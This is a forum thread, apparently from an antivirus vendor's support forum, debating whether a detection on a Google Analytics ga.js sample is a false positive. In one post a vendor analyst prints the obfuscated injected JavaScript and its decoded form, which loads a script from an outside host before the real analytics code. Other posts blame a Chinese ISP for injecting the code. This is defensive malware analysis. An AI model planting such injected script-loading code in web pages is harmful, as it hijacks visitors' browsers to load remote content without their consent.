False-Positive on Google Analystics (confirmed by Ikarus, Avira, Norman...)

Viruses and worms
1

As you might remember, a few days ago I posted here regarding a False-Positive on Google Analystics which was only picked up by avast! and Ikarus. I can’t find my post now (is it deleted?) so I have to start a new topic here. Ikrus has confirmed it as a false-positive now, while avast! contends that ‘we have analysted it carefully, it is really not a false-positive’.
I will collect more AV manufacturer’s consensus on whether it’s a false-positive or a real threat if needed.
You can find the screenshot of the original reply from Ikarus.
Also, here’s the latest scan report from VirusTotal: http://www.virustotal.com/file-scan/report.html?id=f1304f6c197068703c17537fac63e7feb1b7cf782f6a869e4f4716f3282b4f6c-1283160598 From the results we can see that, almost one month later (since avast! first took it as a virus), no more AV manufacturer is detecting a threat from it. (except for our inflexible avast!)

2

you mean this http://forum.avast.com/index.php?topic=63078.0

3

Hello,
did you send them same code like to us?
becouse that detection is ok.
Best regards
Jan Sirmer

4

Of course I did. I Sent The Same Sample To Various AV Manufacturers When Avast! Claimed It Was Infected.
Also, here’s the reply from Avira (refer to the attachment)
Hence, why does avast! still adheres to the point 'it IS a virus!!! ’ ?

5

Once more: it is not a false positive.
However, if you prefer antiviruses that don’t detect the stuff they should… feel free to switch.

6

AV-Test (i think) once conducted a test like this, sent a suspicious code to several vendors and got the mixed results back. Some identified it as real malware, others said it’s clean, some required several submissions in order to detect it, others still said it’s clean etc. Some companies seem to be a bit sloppy in some situations and if ALWIL team says it’s not clean i believe them. Plus the code i’ve seen from the last poster who also reported this it looked obfuscated (bunch of meaningless characters stacked in a huge block). So my guess is that they are correct and is NOT clean.

7

a) When you try to visit google-analytics.com/ga.js, you get something like this:


(function(){var aa="_gat",ba="_gaq",r=true,v=false,w=undefined,ca=document,da="4.7.2",y="length",z="cookie",A="l
ocation",ea="_gaUserPrefs",fa="ioo",B="&",C="=",D="__utma=",F="__utmb=",G="__utmc=",ga="__utmk=",H="__u
tmv=",K="__utmz=",L="__utmx=",ha="GASO=";var M=function(i){return w==i||"-"==i||""==i},ia=function(i){return
 i[y]>0&&" \n\r\t".indexOf(i)>-1},O=function(i,f,m){var u="-",l;if(!M(i)&&!M(f)&&!M(m)){l=i.indexOf(f);if(l>-1){m=i.in
dexOf(m,l);if(m<0)m=i[y];u=N(i,l+f.indexOf(C)+1,m)}}return u},ka=function(i){var f=v,m=0,u,l;if(!M(i)){f=r;for(u=0
;u<i[y];u++){l=i.charAt(u);m+="."==l?1:0;f=f&&m<=1&&(0==u&&"-"==l||".0123456789".indexOf(l)>-1)}}return f
},P=function(i,f){var m=encodeURIComponent;return m instanceof Function?f?encodeURI(i):m(i):escape(i)},
Q=function(i,f){var m=decodeURIComponent,u;i=i.split("+").join(" ");if(m instanceof Function)try{u=f?decodeURI(i):m
(i)}catch(l){u=unescape(i)}else u=unescape(i);return u},R=function(i,f){return i.indexOf(f)>-1},S=function(i,f){i[i[y]]=

b) But we’re talking about such “False-positive” sample of ga.js, where we detect Redirector-DO.


var _0x9713=["\x3C***REMOVED***\x3D","\x74\x69\x74\x6C\x65","\x27\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E"
,"\x77\x72\x69\x74\x65"];document[_0x9713[0x3]](_0x9713[0x0]+encodeURIComponent(document[_0x9713[0x1]])+
_0x9713[0x2]);document.write("<script language='javascript' src='http://www.google-analytics.com/ga.js?rr=1886680168'><\/script>");

Decoded to visible form:


var _0x9713=["<script language='javascript' src='hXXp://m.17bbj.com/mwgndfa.php?src=gg&t=","title","'></script>","write"];
document[_0x9713[0x3]](_0x9713[0x0]+encodeURIComponent(document[_0x9713[0x1]])+_0x9713[0x2]);
document.write("<script language='javascript' src='http://www.google-analytics.com/ga.js?rr=1886680168'><\/script>");

This simply creates page with two tags with external source.
One is to m.17bbj.com, the other is to the original google-analytics code.

What other arguments do you need to prove to you this is not clean?

UPDATE:
Further explanation:
a) The official google analytics site IS clean
b) We do NOT claim that official google analytics code is infected
c) The sample you sent us where we detect Redirector-DO is NOT clean
d) The problem lies somewhere between browser and the official site - there is something on the way which is modifying the original code and including the malware body in it.

8

Norman analysis say: detected as HTML/Redir.EV

This is not a false positive, the file has a malicious behavior( ie, redirecting to another site).

9

Yeah, they considered it a re-director when I submitted it to Norman the first time (two days ago); but just now I receieved another e-mail, after my request to have it re-analysed, they re-analysed it to find it clean. It can no longer be detected by the latest release.

10

That is correct, Scanned the sample with latest Norman VPS and no detection…
have not recived any new info from Norman yet…will post it when i get it

11

ziucquea - just one simple question - who is your provider? I’ve got a feeling you’ll reply with “CRC”.

12

‘Provider’? Provider of what?
And what’s a ‘CRC’

13

We’ve searched the chinese web and it’s almost 100% sure that this is rogue ISP action. Big chinese ISP CRC/CRTC - CHINA RAILWAY TELECOMMUNICATIONS CENTER is modifying counter code of cnzz, 51.la, google analytics in order to put there their own ads.

So I although we’re pretty sure this is malicious behaviour, we’re not really sure if the blockage is the good thing to do in this situation.

14

@ kubecj
I don’t know if blocking google-analytics has any adverse repercussions as I have google-analytics blocked in firefox’s NoScript add-on. Whilst a lot of sites have google-analytics.com/ga.js it doesn’t seem to impact on the majority of sites that I have viewed.

So the only issue would be the alert pop-up as it would just block the google-analytics.com/ga.js script but the remainder of the site should still load as normal (as it does in my case even with NoScript blocking the legit google-analytics.com/ga.js file).

15

From my knowledge (and also tests) avast does display the dialogue and lets the page load. Because the warning is not on the ‘main’ page of the web, but on the faked google-analytics page.

16

Which is why I thought that blocking is the best option in reference your comment “we’re not really sure if the blockage is the good thing to do in this situation.”

So I don’t see any downside of simply blocking it has is the current case, that way you aren’t having to apply another rule to this detection as to whether or not to block it and display the alert.

17

Now I’m not sure if we’re now using the same terminology.

Avast detects the modified javascript. Screams. Blocks the script from execution. Prevents the ad display and also the original GA code. After clicking on the dialogue, lets the rest of the page load (I did the test with avast4).

The ‘Screams’ part could be really annoying for the users because it’d scream on every visited page containing the counters. And it also looks like a FP, because it’s reported on the google-analytics.com.

18

OK, I see your point.

19

Yeah, you’re right. It’s just a wee bit confusing and annoying. (a heap of guys are reporting their avast! showing alerts on sites which they beilive are clean) I haven’t encountered such occassions, though.

20

Ok The saga continues… ;D With todays update Norman put back the detection for that sample HTML/Redir.EV …